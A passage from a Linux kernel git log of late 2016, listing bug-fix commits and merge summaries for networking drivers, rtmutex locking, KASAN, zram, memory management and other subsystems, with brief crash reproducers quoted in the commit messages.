to load. This sets the weak CRC symbol to zero explicitly, making it defined in vmlinux, which in turn lets us load the modules referring to that CRC. The comment above the __CRC_SYMBOL macro suggests that this was always the intention, although it also seems that all symbols defined in C have a correct CRC these days, and only the exports that are now done in assembly need this. Signed-off-by: Arnd Bergmann Tested-by: Adam Borowski Cc: stable@kernel.org Signed-off-by: Linus Torvalds include/asm-generic/export.h | 1 + 1 file changed, 1 insertion(+) commit 909e481e2467f202b97d42beef246e8829416a85 Author: Sudeep Holla Date: Wed Nov 16 17:31:31 2016 +0000 arm64: dts: juno: fix cluster sleep state entry latency on all SoC versions The core and the cluster sleep state entry latencies can't be same as cluster sleep involves more work compared to core level e.g. shared cache maintenance. Experiments have shown on an average about 100us more latency for the cluster sleep state compared to the core level sleep. This patch fixes the entry latency for the cluster sleep state. Fixes: 28e10a8f3a03 ("arm64: dts: juno: Add idle-states to device tree") Cc: Lorenzo Pieralisi Cc: "Jon Medhurst (Tixy)" Reviewed-by: Liviu Dudau Signed-off-by: Sudeep Holla Signed-off-by: Arnd Bergmann arch/arm64/boot/dts/arm/juno-r1.dts | 2 +- arch/arm64/boot/dts/arm/juno-r2.dts | 2 +- arch/arm64/boot/dts/arm/juno.dts | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) commit d262fd12cd03afca40ced117d837fa576a667eab Merge: 6919756 d2ed0a7 Author: David S. Miller Date: Fri Dec 2 10:42:47 2016 -0500 Merge branch 'stmmac-probe-error-handling-and-phydev-leaks' Johan Hovold says: ==================== net: stmmac: fix probe error handling and phydev leaks This series fixes a number of issues with the stmmac-driver probe error handling, which for example left clocks enabled after probe failures. The final patch fixes a failure to deregister and free any fixed-link PHYs that were registered during probe on probe errors and on driver unbind. It also fixes a related of-node leak on late probe errors. This series depends on the of_phy_deregister_fixed_link() helper that was just merged to net. As mentioned earlier, one staging driver also suffers from a similar leak and can be fixed up once the above mentioned helper hits mainline. Note that these patches have only been compile tested. ==================== Acked-by: Giuseppe Cavallaro Signed-off-by: David S. Miller commit d2ed0a7755fe14c790f398ae55088d00492ef168 Author: Johan Hovold Date: Wed Nov 30 15:29:55 2016 +0100 net: ethernet: stmmac: fix of-node and fixed-link-phydev leaks Make sure to deregister and free any fixed-link phy registered during probe on probe errors and on driver unbind by adding a new glue helper function. Drop the of-node reference taken in the same path also on late probe errors (and not just on driver unbind) by moving the put from stmmac_dvr_remove() to the new helper. Fixes: 277323814e49 ("stmmac: add fixed-link device-tree support") Fixes: 4613b279bee7 ("ethernet: stmicro: stmmac: add missing of_node_put after calling of_parse_phandle") Signed-off-by: Johan Hovold Acked-by: Maxime Ripard Signed-off-by: David S. Miller .../net/ethernet/stmicro/stmmac/dwmac-generic.c | 5 +++- .../net/ethernet/stmicro/stmmac/dwmac-ipq806x.c | 25 +++++++++++++---- .../net/ethernet/stmicro/stmmac/dwmac-lpc18xx.c | 17 ++++++++++-- drivers/net/ethernet/stmicro/stmmac/dwmac-meson.c | 23 ++++++++++++---- .../net/ethernet/stmicro/stmmac/dwmac-meson8b.c | 21 +++++++++----- drivers/net/ethernet/stmicro/stmmac/dwmac-rk.c | 10 +++++-- .../net/ethernet/stmicro/stmmac/dwmac-socfpga.c | 12 +++++--- drivers/net/ethernet/stmicro/stmmac/dwmac-sti.c | 12 +++++--- drivers/net/ethernet/stmicro/stmmac/dwmac-stm32.c | 19 +++++++++---- drivers/net/ethernet/stmicro/stmmac/dwmac-sunxi.c | 26 +++++++++++++----- drivers/net/ethernet/stmicro/stmmac/stmmac_main.c | 1 - .../net/ethernet/stmicro/stmmac/stmmac_platform.c | 32 ++++++++++++++++++++-- .../net/ethernet/stmicro/stmmac/stmmac_platform.h | 2 ++ 13 files changed, 156 insertions(+), 49 deletions(-) commit 661f049be17a3894cb438d46ba5af8e3643aac28 Author: Johan Hovold Date: Wed Nov 30 15:29:54 2016 +0100 net: ethernet: stmmac: platform: fix outdated function header Fix the OF-helper function header to reflect that the function no longer has a platform-data parameter. Fixes: b0003ead75f3 ("stmmac: make stmmac_probe_config_dt return the platform data struct") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/stmmac_platform.c | 1 - 1 file changed, 1 deletion(-) commit 5cc70bbcacf6728b598b529a061930d8271adbb5 Author: Johan Hovold Date: Wed Nov 30 15:29:53 2016 +0100 net: ethernet: stmmac: dwmac-meson8b: fix probe error path Make sure to disable clocks before returning on late probe errors. Fixes: 566e82516253 ("net: stmmac: add a glue driver for the Amlogic Meson 8b / GXBB DWMAC") Signed-off-by: Johan Hovold Acked-by: Kevin Hilman Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/dwmac-meson8b.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit 939b20022765bc338b0f72cbf1eed60a907398d7 Author: Johan Hovold Date: Wed Nov 30 15:29:52 2016 +0100 net: ethernet: stmmac: dwmac-generic: fix probe error path Make sure to call any exit() callback to undo the effect of init() before returning on late probe errors. Fixes: cf3f047b9af4 ("stmmac: move hw init in the probe (v2)") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/dwmac-generic.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit 2d222656db08b8eef3b53b56cf1ce4a90fe8cd78 Author: Johan Hovold Date: Wed Nov 30 15:29:51 2016 +0100 net: ethernet: stmmac: dwmac-rk: fix probe error path Make sure to disable runtime PM, power down the PHY, and disable clocks before returning on late probe errors. Fixes: 27ffefd2d109 ("stmmac: dwmac-rk: create a new probe function") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/dwmac-rk.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit 0a9e22715ee384cf2a714c28f24ce8881b9fd815 Author: Johan Hovold Date: Wed Nov 30 15:29:50 2016 +0100 net: ethernet: stmmac: dwmac-sti: fix probe error path Make sure to disable clocks before returning on late probe errors. Fixes: 8387ee21f972 ("stmmac: dwmac-sti: turn setup callback into a probe function") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/dwmac-sti.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) commit 50ac64cfc39dad2ba0d8ad553d2d87dfc738cbba Author: Johan Hovold Date: Wed Nov 30 15:29:49 2016 +0100 net: ethernet: stmmac: dwmac-socfpga: fix use-after-free on probe errors Make sure to call stmmac_dvr_remove() before returning on late probe errors so that memory is freed, clocks are disabled, and the netdev is deregistered before its resources go away. Fixes: 3c201b5a84ed ("net: stmmac: socfpga: Remove re-registration of reset controller") Signed-off-by: Johan Hovold Signed-off-by: David S. Miller .../net/ethernet/stmicro/stmmac/dwmac-socfpga.c | 29 ++++++++++++++-------- 1 file changed, 19 insertions(+), 10 deletions(-) commit 6919756caaeaa76dc56287252fb656e3c2d9b4e1 Author: Tobias Klauser Date: Wed Nov 30 14:30:37 2016 +0100 net/rtnetlink: fix attribute name in nlmsg_size() comments Use the correct attribute constant names IFLA_GSO_MAX_{SEGS,SIZE} instead of IFLA_MAX_GSO_{SEGS,SIZE} for the comments int nlmsg_size(). Cc: Eric Dumazet Signed-off-by: Tobias Klauser Signed-off-by: David S. Miller net/core/rtnetlink.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 1be5d4fa0af34fb7bafa205aeb59f5c7cc7a089d Author: Thomas Gleixner Date: Wed Nov 30 21:04:42 2016 +0000 locking/rtmutex: Use READ_ONCE() in rt_mutex_owner() While debugging the rtmutex unlock vs. dequeue race Will suggested to use READ_ONCE() in rt_mutex_owner() as it might race against the cmpxchg_release() in unlock_rt_mutex_safe(). Will: "It's a minor thing which will most likely not matter in practice" Careful search did not unearth an actual problem in todays code, but it's better to be safe than surprised. Suggested-by: Will Deacon Signed-off-by: Thomas Gleixner Acked-by: Peter Zijlstra (Intel) Cc: David Daney Cc: Linus Torvalds Cc: Mark Rutland Cc: Peter Zijlstra Cc: Sebastian Siewior Cc: Steven Rostedt Cc: Link: http://lkml.kernel.org/r/20161130210030.431379999@linutronix.de Signed-off-by: Ingo Molnar kernel/locking/rtmutex_common.h | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit dbb26055defd03d59f678cb5f2c992abe05b064a Author: Thomas Gleixner Date: Wed Nov 30 21:04:41 2016 +0000 locking/rtmutex: Prevent dequeue vs. unlock race David reported a futex/rtmutex state corruption. It's caused by the following problem: CPU0 CPU1 CPU2 l->owner=T1 rt_mutex_lock(l) lock(l->wait_lock) l->owner = T1 | HAS_WAITERS; enqueue(T2) boost() unlock(l->wait_lock) schedule() rt_mutex_lock(l) lock(l->wait_lock) l->owner = T1 | HAS_WAITERS; enqueue(T3) boost() unlock(l->wait_lock) schedule() signal(->T2) signal(->T3) lock(l->wait_lock) dequeue(T2) deboost() unlock(l->wait_lock) lock(l->wait_lock) dequeue(T3) ===> wait list is now empty deboost() unlock(l->wait_lock) lock(l->wait_lock) fixup_rt_mutex_waiters() if (wait_list_empty(l)) { owner = l->owner & ~HAS_WAITERS; l->owner = owner ==> l->owner = T1 } lock(l->wait_lock) rt_mutex_unlock(l) fixup_rt_mutex_waiters() if (wait_list_empty(l)) { owner = l->owner & ~HAS_WAITERS; cmpxchg(l->owner, T1, NULL) ===> Success (l->owner = NULL) l->owner = owner ==> l->owner = T1 } That means the problem is caused by fixup_rt_mutex_waiters() which does the RMW to clear the waiters bit unconditionally when there are no waiters in the rtmutexes rbtree. This can be fatal: A concurrent unlock can release the rtmutex in the fastpath because the waiters bit is not set. If the cmpxchg() gets in the middle of the RMW operation then the previous owner, which just unlocked the rtmutex is set as the owner again when the write takes place after the successfull cmpxchg(). The solution is rather trivial: verify that the owner member of the rtmutex has the waiters bit set before clearing it. This does not require a cmpxchg() or other atomic operations because the waiters bit can only be set and cleared with the rtmutex wait_lock held. It's also safe against the fast path unlock attempt. The unlock attempt via cmpxchg() will either see the bit set and take the slowpath or see the bit cleared and release it atomically in the fastpath. It's remarkable that the test program provided by David triggers on ARM64 and MIPS64 really quick, but it refuses to reproduce on x86-64, while the problem exists there as well. That refusal might explain that this got not discovered earlier despite the bug existing from day one of the rtmutex implementation more than 10 years ago. Thanks to David for meticulously instrumenting the code and providing the information which allowed to decode this subtle problem. Reported-by: David Daney Tested-by: David Daney Signed-off-by: Thomas Gleixner Reviewed-by: Steven Rostedt Acked-by: Peter Zijlstra (Intel) Cc: Linus Torvalds Cc: Mark Rutland Cc: Peter Zijlstra Cc: Sebastian Siewior Cc: Will Deacon Cc: stable@vger.kernel.org Fixes: 23f78d4a03c5 ("[PATCH] pi-futex: rt mutex core") Link: http://lkml.kernel.org/r/20161130210030.351136722@linutronix.de Signed-off-by: Ingo Molnar kernel/locking/rtmutex.c | 68 ++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 66 insertions(+), 2 deletions(-) commit c2d0f48a13e53b4747704c9e692f5e765e52041a Author: Sven Eckelmann Date: Wed Nov 30 21:47:09 2016 +0100 batman-adv: Check for alloc errors when preparing TT local data batadv_tt_prepare_tvlv_local_data can fail to allocate the memory for the new TVLV block. The caller is informed about this problem with the returned length of 0. Not checking this value results in an invalid memory access when either tt_data or tt_change is accessed. Reported-by: Dan Carpenter Fixes: 7ea7b4a14275 ("batman-adv: make the TT CRC logic VLAN specific") Signed-off-by: Sven Eckelmann Signed-off-by: Simon Wunderlich net/batman-adv/translation-table.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 4db5e636ddca41f4292359fdb3ac7cc4346a359a Merge: 2caceb3 e42010d Author: Linus Torvalds Date: Thu Dec 1 16:44:42 2016 -0800 Merge tag 'pci-v4.9-fixes-4' of git://git.kernel.org/pub/scm/linux/kernel/git/helgaas/pci Pull PCI fixes from Bjorn Helgaas: "PCI fixes: - Fix Read Completion Boundary setting, which fixes a boot failure on IBM x3850 with Mellanox MT27500 ConnectX-3 - Update some MAINTAINERS entries and email addresses" * tag 'pci-v4.9-fixes-4' of git://git.kernel.org/pub/scm/linux/kernel/git/helgaas/pci: PCI: Set Read Completion Boundary to 128 iff Root Port supports it (_HPX) PCI: Export pcie_find_root_port PCI: designware-plat: Update author email PCI: designware: Change maintainer to Joao Pinto MAINTAINERS: Add devicetree binding to PCI i.MX6 entry MAINTAINERS: Update Richard Zhu's email address commit c54cdc316dbd35695cd54dd425327463c72809e4 Author: Alexander Duyck Date: Mon Nov 28 10:42:29 2016 -0500 ixgbe/ixgbevf: Don't use lco_csum to compute IPv4 checksum In the case of IPIP and SIT tunnel frames the outer transport header offset is actually set to the same offset as the inner transport header. This results in the lco_csum call not doing any checksum computation over the inner IPv4/v6 header data. In order to account for that I am updating the code so that we determine the location to start the checksum ourselves based on the location of the IPv4 header and the length. Fixes: b83e30104bd9 ("ixgbe/ixgbevf: Add support for GSO partial") Signed-off-by: Alexander Duyck Signed-off-by: David S. Miller drivers/net/ethernet/intel/ixgbe/ixgbe_main.c | 8 ++++++-- drivers/net/ethernet/intel/ixgbevf/ixgbevf_main.c | 8 ++++++-- 2 files changed, 12 insertions(+), 4 deletions(-) commit 516165a1e2f22e512a976f8dafd76a22310ccfd9 Author: Alexander Duyck Date: Mon Nov 28 10:42:23 2016 -0500 igb/igbvf: Don't use lco_csum to compute IPv4 checksum In the case of IPIP and SIT tunnel frames the outer transport header offset is actually set to the same offset as the inner transport header. This results in the lco_csum call not doing any checksum computation over the inner IPv4/v6 header data. In order to account for that I am updating the code so that we determine the location to start the checksum ourselves based on the location of the IPv4 header and the length. Fixes: e10715d3e961 ("igb/igbvf: Add support for GSO partial") Reported-by: Stephen Rothwell Signed-off-by: Alexander Duyck Signed-off-by: David S. Miller drivers/net/ethernet/intel/igb/igb_main.c | 8 ++++++-- drivers/net/ethernet/intel/igbvf/netdev.c | 8 ++++++-- 2 files changed, 12 insertions(+), 4 deletions(-) commit fadf3a28054404f075c05d9ca8ebd4b4ce9ebc0f Author: allan Date: Wed Nov 30 16:29:08 2016 +0800 net: asix: Fix AX88772_suspend() USB vendor commands failure issues The change fixes AX88772_suspend() USB vendor commands failure issues. Signed-off-by: Allan Chou Tested-by: Allan Chou Tested-by: Jon Hunter Signed-off-by: David S. Miller drivers/net/usb/asix_devices.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 2caceb3294a78c389b462e7e236a4e744a53a474 Merge: 92cf44e c4fcfc1 Author: Linus Torvalds Date: Thu Dec 1 10:31:53 2016 -0800 Merge branch 'overlayfs-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/mszeredi/vfs Pull overlayfs fix from Miklos Szeredi: "This fixes a regression introduced in 4.8" * 'overlayfs-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/mszeredi/vfs: ovl: fix d_real() for stacked fs commit 92cf44e284d0c2e456d43c0951107a4ec046ef1c Merge: d3fc425 2425f18 Author: Linus Torvalds Date: Thu Dec 1 10:29:41 2016 -0800 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input Pull input fixes from Dmitry Torokhov: "We are disabling automatic probing of BYD touchpads as it results in too many false positives, and the hardware is not terribly popular and having the protocol support does not result in significantly improved user experience. We also change keycode for KEY_DATA to avoid clashing with KEY_FASTREVERSE. Luckily this newish code is used by CEC framework that is still in staging, so it is extremely unlikely that someone has already started using this keycode" * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/dtor/input: Input: change KEY_DATA from 0x275 to 0x277 Input: psmouse - disable automatic probing of BYD touchpads commit d3fc425e819be7c251a9c208cd4c0a6373c19bfe Author: Nicolas Pitre Date: Wed Nov 30 17:41:58 2016 -0500 kbuild: make sure autoksyms.h exists early Some people are able to trigger a race where autoksyms.h is used before its empty version is even created. Let's create it at the same time as the directory holding it is created. Signed-off-by: Nicolas Pitre Tested-by: Prarit Bhargava Tested-by: Jarod Wilson Signed-off-by: Linus Torvalds Makefile | 2 -- scripts/kconfig/Makefile | 2 ++ 2 files changed, 2 insertions(+), 2 deletions(-) commit 7bbf91ce27dd83cae1452995b15d358db92a8235 Merge: 3d2dd61 a55e238 Author: David S. Miller Date: Thu Dec 1 11:35:49 2016 -0500 Merge branch 'master' of git://git.kernel.org/pub/scm/linux/kernel/git/klassert/ipsec Steffen Klassert says: ==================== pull request (net): ipsec 2016-12-01 1) Change the error value when someone tries to run 32bit userspace on a 64bit host from -ENOTSUPP to the userspace exported -EOPNOTSUPP. Fix from Yi Zhao. 2) On inbound, ESN sequence numbers are already in network byte order. So don't try to convert it again, this fixes integrity verification for ESN. Fixes from Tobias Brunner. Please pull or let me know if there are problems. ==================== Signed-off-by: David S. Miller commit 3d2dd617fb3c6430e438038070d2d2fb423725f9 Merge: aa196ee 17a49cd Author: David S. Miller Date: Thu Dec 1 11:04:41 2016 -0500 Merge git://git.kernel.org/pub/scm/linux/kernel/git/pablo/nf Pablo Neira Ayuso says: ==================== Netfilter fixes for net This is a large batch of Netfilter fixes for net, they are: 1) Three patches to fix NAT conversion to rhashtable: Switch to rhlist structure that allows to have several objects with the same key. Moreover, fix wrong comparison logic in nf_nat_bysource_cmp() as this is expecting a return value similar to memcmp(). Change location of the nat_bysource field in the nf_conn structure to avoid zeroing this as it breaks interaction with SLAB_DESTROY_BY_RCU and lead us to crashes. From Florian Westphal. 2) Don't allow malformed fragments go through in IPv6, drop them, otherwise we hit GPF, patch from Florian Westphal. 3) Fix crash if attributes are missing in nft_range, from Liping Zhang. 4) Fix arptables 32-bits userspace 64-bits kernel compat, from Hongxu Jia. 5) Two patches from David Ahern to fix netfilter interaction with vrf. From David Ahern. 6) Fix element timeout calculation in nf_tables, we take milliseconds from userspace, but we use jiffies from kernelspace. Patch from Anders K. Pedersen. 7) Missing validation length netlink attribute for nft_hash, from Laura Garcia. 8) Fix nf_conntrack_helper documentation, we don't default to off anymore for a bit of time so let's get this in sync with the code. I know is late but I think these are important, specifically the NAT bits, as they are mostly addressing fallout from recent changes. I also read there are chances to have -rc8, if that is the case, that would also give us a bit more time to test this. ==================== Signed-off-by: David S. Miller commit a0f1d21c1ccb1da66629627a74059dd7f5ac9c61 Author: Dan Carpenter Date: Wed Nov 30 22:21:05 2016 +0300 KVM: use after free in kvm_ioctl_create_device() We should move the ops->destroy(dev) after the list_del(&dev->vm_node) so that we don't use "dev" after freeing it. Fixes: a28ebea2adc4 ("KVM: Protect device ops->create and list_add with kvm->lock") Signed-off-by: Dan Carpenter Reviewed-by: David Hildenbrand Signed-off-by: Radim Krčmář virt/kvm/kvm_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0f4828a1da3342be81e812b28fbcf29261146d25 Merge: e5517c2 8ca18ee Author: Radim Krčmář Date: Thu Dec 1 14:56:34 2016 +0100 Merge tag 'kvm-arm-for-4.9-rc7' of git://git.kernel.org/pub/scm/linux/kernel/git/kvmarm/kvmarm KVM/ARM updates for v4.9-rc7 - Do not call kvm_notify_acked for PPIs commit f00b534ded60bd0a23c2fa8dec4ece52aa7d235f Author: Stephane Grosjean Date: Thu Dec 1 11:41:12 2016 +0100 can: peak: Add support for PCAN-USB X6 USB interface This adds support for PEAK-System PCAN-USB X6 USB to CAN interface. The CAN FD adapter PCAN-USB X6 allows the connection of up to 6 CAN FD or CAN networks to a computer via USB. The interface is installed in an aluminum profile casing and is shipped in versions with D-Sub connectors or M12 circular connectors. The PCAN-USB X6 registers in the USB sub-system as if 3x PCAN-USB-Pro FD adapters were plugged. So, this patch: - updates the PEAK_USB entry of the corresponding Kconfig file - defines and adds the device id. of the PCAN-USB X6 (0x0014) into the table of supported device ids - defines and adds the new software structure implementing the PCAN-USB X6, which is obviously a clone of the software structure implementing the PCAN-USB Pro FD. Signed-off-by: Stephane Grosjean Tested-by: Oliver Hartkopp Signed-off-by: Marc Kleine-Budde drivers/net/can/usb/peak_usb/pcan_usb_core.c | 2 + drivers/net/can/usb/peak_usb/pcan_usb_core.h | 2 + drivers/net/can/usb/peak_usb/pcan_usb_fd.c | 72 ++++++++++++++++++++++++++++ 3 files changed, 76 insertions(+) commit fe5b40642f1a2dddfeb84be007b2c975c28d4c6c Author: Stephane Grosjean Date: Thu Dec 1 11:41:11 2016 +0100 can: peak: Fix bittiming fields size in bits This fixes the bitimings fields ranges supported by all the CAN-FD USB interfaces of the PEAK-System CAN-FD adapters. Very first development versions of the IP core API defined smaller TSGEx and SJW fields for both nominal and data bittimings records than the production versions. This patch fixes them by enlarging their sizes to the actual values: field: old size: fixed size: nominal TSGEG1 6 8 nominal TSGEG2 4 7 nominal SJW 4 7 data TSGEG1 4 5 data TSGEG2 3 4 data SJW 2 4 Note that this has no other consequences than offering larger choice to bitrate encoding. Signed-off-by: Stephane Grosjean Signed-off-by: Marc Kleine-Budde drivers/net/can/usb/peak_usb/pcan_ucan.h | 37 +++++++++++++++++++++++------- drivers/net/can/usb/peak_usb/pcan_usb_fd.c | 32 +++++++++++++------------- 2 files changed, 45 insertions(+), 24 deletions(-) commit dadc4a1bb9f0095343ed9dd4f1d9f3825d7b3e45 Author: Nicholas Piggin Date: Sat Nov 26 14:20:31 2016 +1100 powerpc/64: Fix placement of .text to be immediately following .head.text Do not introduce any additional alignment. Placement of text section will be set by fixed section macros. Without this, output section alignment defaults to 4096, which makes BookE text section start at 0x1000 when it is expected to start at 0x100. This was introduced by commit 57f266497d81 ("powerpc: Use gas sections for arranging exception vectors") and was caught with the scripted head section checker (not yet merged). Fixes: 57f266497d81 ("powerpc: Use gas sections for arranging exception vectors") Signed-off-by: Nicholas Piggin Signed-off-by: Michael Ellerman arch/powerpc/kernel/vmlinux.lds.S | 9 +++++++++ 1 file changed, 9 insertions(+) commit 409bf7f8a02ef88db5a0f2cdcf9489914f4b8508 Author: Andrew Donnellan Date: Thu Dec 1 11:23:05 2016 +1100 powerpc/eeh: Fix deadlock when PE frozen state can't be cleared In eeh_reset_device(), we take the pci_rescan_remove_lock immediately after after we call eeh_reset_pe() to reset the PCI controller. We then call eeh_clear_pe_frozen_state(), which can return an error. In this case, we bail out of eeh_reset_device() without calling pci_unlock_rescan_remove(). Add a call to pci_unlock_rescan_remove() in the eeh_clear_pe_frozen_state() error path so that we don't cause a deadlock later on. Reported-by: Pradipta Ghosh Fixes: 78954700631f ("powerpc/eeh: Avoid I/O access during PE reset") Cc: stable@vger.kernel.org # v3.16+ Signed-off-by: Andrew Donnellan Acked-by: Russell Currey Signed-off-by: Michael Ellerman arch/powerpc/kernel/eeh_driver.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 43c4f67c966deb1478dc9acbf66ab547287d530f Merge: f513581 5cbc198 Author: Linus Torvalds Date: Wed Nov 30 16:33:41 2016 -0800 Merge branch 'akpm' (patches from Andrew) Merge misc fixes from Andrew Morton: "7 fixes" * emailed patches from Andrew Morton : mm: fix false-positive WARN_ON() in truncate/invalidate for hugetlb kasan: support use-after-scope detection kasan: update kasan_global for gcc 7 lib/debugobjects: export for use in modules zram: fix unbalanced idr management at hot removal thp: fix corner case of munlock() of PTE-mapped THPs mm, thp: propagation of conditional compilation in khugepaged.c commit 5cbc198ae08d84bd416b672ad8bd1222acd0855c Author: Kirill A. Shutemov Date: Wed Nov 30 15:54:19 2016 -0800 mm: fix false-positive WARN_ON() in truncate/invalidate for hugetlb Hugetlb pages have ->index in size of the huge pages (PMD_SIZE or PUD_SIZE), not in PAGE_SIZE as other types of pages. This means we cannot user page_to_pgoff() to check whether we've got the right page for the radix-tree index. Let's introduce page_to_index() which would return radix-tree index for given page. We will be able to get rid of this once hugetlb will be switched to multi-order entries. Fixes: fc127da085c2 ("truncate: handle file thp") Link: http://lkml.kernel.org/r/20161123093053.mjbnvn5zwxw5e6lk@black.fi.intel.com Signed-off-by: Kirill A. Shutemov Reported-by: Doug Nelson Tested-by: Doug Nelson Reviewed-by: Naoya Horiguchi Cc: [4.8+] Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/pagemap.h | 21 +++++++++++++++------ mm/truncate.c | 8 ++++---- 2 files changed, 19 insertions(+), 10 deletions(-) commit 828347f8f9a558cf1af2faa46387a26564f2ac3e Author: Dmitry Vyukov Date: Wed Nov 30 15:54:16 2016 -0800 kasan: support use-after-scope detection Gcc revision 241896 implements use-after-scope detection. Will be available in gcc 7. Support it in KASAN. Gcc emits 2 new callbacks to poison/unpoison large stack objects when they go in/out of scope. Implement the callbacks and add a test. [dvyukov@google.com: v3] Link: http://lkml.kernel.org/r/1479998292-144502-1-git-send-email-dvyukov@google.com Link: http://lkml.kernel.org/r/1479226045-145148-1-git-send-email-dvyukov@google.com Signed-off-by: Dmitry Vyukov Acked-by: Andrey Ryabinin Cc: Alexander Potapenko Cc: [4.0+] Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds lib/test_kasan.c | 29 +++++++++++++++++++++++++++++ mm/kasan/kasan.c | 19 +++++++++++++++++++ mm/kasan/kasan.h | 1 + mm/kasan/report.c | 3 +++ 4 files changed, 52 insertions(+) commit 045d599a286bc01daa3510d59272440a17b23c2e Author: Dmitry Vyukov Date: Wed Nov 30 15:54:13 2016 -0800 kasan: update kasan_global for gcc 7 kasan_global struct is part of compiler/runtime ABI. gcc revision 241983 has added a new field to kasan_global struct. Update kernel definition of kasan_global struct to include the new field. Without this patch KASAN is broken with gcc 7. Link: http://lkml.kernel.org/r/1479219743-28682-1-git-send-email-dvyukov@google.com Signed-off-by: Dmitry Vyukov Acked-by: Andrey Ryabinin Cc: Alexander Potapenko Cc: [4.0+] Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds include/linux/compiler-gcc.h | 4 +++- mm/kasan/kasan.h | 3 +++ 2 files changed, 6 insertions(+), 1 deletion(-) commit f8ff04e2be0815b34d11a72d08473a383a3c9eb5 Author: Chris Wilson Date: Wed Nov 30 15:54:10 2016 -0800 lib/debugobjects: export for use in modules Drivers, or other modules, that use a mixture of objects (especially objects embedded within other objects) would like to take advantage of the debugobjects facilities to help catch misuse. Currently, the debugobjects interface is only available to builtin drivers and requires a set of EXPORT_SYMBOL_GPL for use by modules. I am using the debugobjects in i915.ko to try and catch some invalid operations on embedded objects. The problem currently only presents itself across module unload so forcing i915 to be builtin is not an option. Link: http://lkml.kernel.org/r/20161122143039.6433-1-chris@chris-wilson.co.uk Signed-off-by: Chris Wilson Cc: "Du, Changbin" Cc: Thomas Gleixner Cc: Christian Borntraeger Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds lib/debugobjects.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 529e71e16403830ae0d737a66c55c5f360f3576b Author: Takashi Iwai Date: Wed Nov 30 15:54:08 2016 -0800 zram: fix unbalanced idr management at hot removal The zram hot removal code calls idr_remove() even when zram_remove() returns an error (typically -EBUSY). This results in a leftover at the device release, eventually leading to a crash when the module is reloaded. As described in the bug report below, the following procedure would cause an Oops with zram: - provision three zram devices via modprobe zram num_devices=3 - configure a size for each device + echo "1G" > /sys/block/$zram_name/disksize - mkfs and mount zram0 only - attempt to hot remove all three devices + echo 2 > /sys/class/zram-control/hot_remove + echo 1 > /sys/class/zram-control/hot_remove + echo 0 > /sys/class/zram-control/hot_remove - zram0 removal fails with EBUSY, as expected - unmount zram0 - try zram0 hot remove again + echo 0 > /sys/class/zram-control/hot_remove - fails with ENODEV (unexpected) - unload zram kernel module + completes successfully - zram0 device node still exists - attempt to mount /dev/zram0 + mount command is killed + following BUG is encountered BUG: unable to handle kernel paging request at ffffffffa0002ba0 IP: get_disk+0x16/0x50 Oops: 0000 [#1] SMP CPU: 0 PID: 252 Comm: mount Not tainted 4.9.0-rc6 #176 Call Trace: exact_lock+0xc/0x20 kobj_lookup+0xdc/0x160 get_gendisk+0x2f/0x110 __blkdev_get+0x10c/0x3c0 blkdev_get+0x19d/0x2e0 blkdev_open+0x56/0x70 do_dentry_open.isra.19+0x1ff/0x310 vfs_open+0x43/0x60 path_openat+0x2c9/0xf30 do_filp_open+0x79/0xd0 do_sys_open+0x114/0x1e0 SyS_open+0x19/0x20 entry_SYSCALL_64_fastpath+0x13/0x94 This patch adds the proper error check in hot_remove_store() not to call idr_remove() unconditionally. Fixes: 17ec4cd98578 ("zram: don't call idr_remove() from zram_remove()") Bugzilla: https://bugzilla.opensuse.org/show_bug.cgi?id=1010970 Link: http://lkml.kernel.org/r/20161121132140.12683-1-tiwai@suse.de Signed-off-by: Takashi Iwai Reviewed-by: David Disseldorp Reported-by: David Disseldorp Tested-by: David Disseldorp Acked-by: Minchan Kim Acked-by: Sergey Senozhatsky Cc: [4.4+] Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds drivers/block/zram/zram_drv.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 655548bf6271b212cd1e4c259da9dbe616348d38 Author: Kirill A. Shutemov Date: Wed Nov 30 15:54:05 2016 -0800 thp: fix corner case of munlock() of PTE-mapped THPs The following program triggers BUG() in munlock_vma_pages_range(): // autogenerated by syzkaller (http://github.com/google/syzkaller) #include int main() { mmap((void*)0x20105000ul, 0xc00000ul, 0x2ul, 0x2172ul, -1, 0); mremap((void*)0x201fd000ul, 0x4000ul, 0xc00000ul, 0x3ul, 0x203f0000ul); return 0; } The test-case constructs the situation when munlock_vma_pages_range() finds PTE-mapped THP-head in the middle of page table and, by mistake, skips HPAGE_PMD_NR pages after that. As result, on the next iteration it hits the middle of PMD-mapped THP and gets upset seeing mlocked tail page. The solution is only skip HPAGE_PMD_NR pages if the THP was mlocked during munlock_vma_page(). It would guarantee that the page is PMD-mapped as we never mlock PTE-mapeed THPs. Fixes: e90309c9f772 ("thp: allow mlocked THP again") Link: 